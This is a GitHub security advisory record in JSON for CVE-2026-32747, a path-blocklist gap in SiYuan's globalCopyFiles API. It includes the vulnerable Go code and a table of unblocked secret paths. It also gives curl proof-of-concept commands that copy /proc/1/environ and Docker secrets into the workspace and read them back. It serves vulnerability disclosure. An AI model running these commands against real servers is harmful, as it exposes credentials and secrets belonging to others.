CVE-2026-32747: SiYuan globalCopyFiles Incomplete Sensitive Path Blocklist Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h5vh-m7fg-w5h6",
  "modified" : "2026-03-30T13:58:13Z",
  "published" : "2026-03-16T18:46:14Z",
  "aliases" : [ "CVE-2026-32747" ],
  "summary" : "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets",
  "details" : "### Summary\nPOST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\nFile: kernel/api/file.go - function globalCopyFiles\n\n```go\nfor i, src := range srcs {\n    absSrc, _ := filepath.Abs(src)\n\n    if util.IsSensitivePath(absSrc) {\n        return\n    }\n    srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n    dest := filepath.Join(destDir, filepath.Base(src))\n    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace\n}\n```\n\nIsSensitivePath blocklist (kernel/util/path.go):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |\n| /run/secrets/* | Docker Swarm / Compose injected secrets |\n| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |\n| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |\n| /tmp/ | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}'\n\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"path\":\"/data/assets/environ\"}' | tr '\\0' '\\n'\n```\n\n**Docker secrets:**\n```bash\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}'\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260313024916-fd6526133bb3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32747"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/9914fd1d39e5f0a8dcc9fb587e1c0b46f31490a1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T18:46:14Z",
    "nvd_published_at" : "2026-03-19T21:17:10Z"
  }
}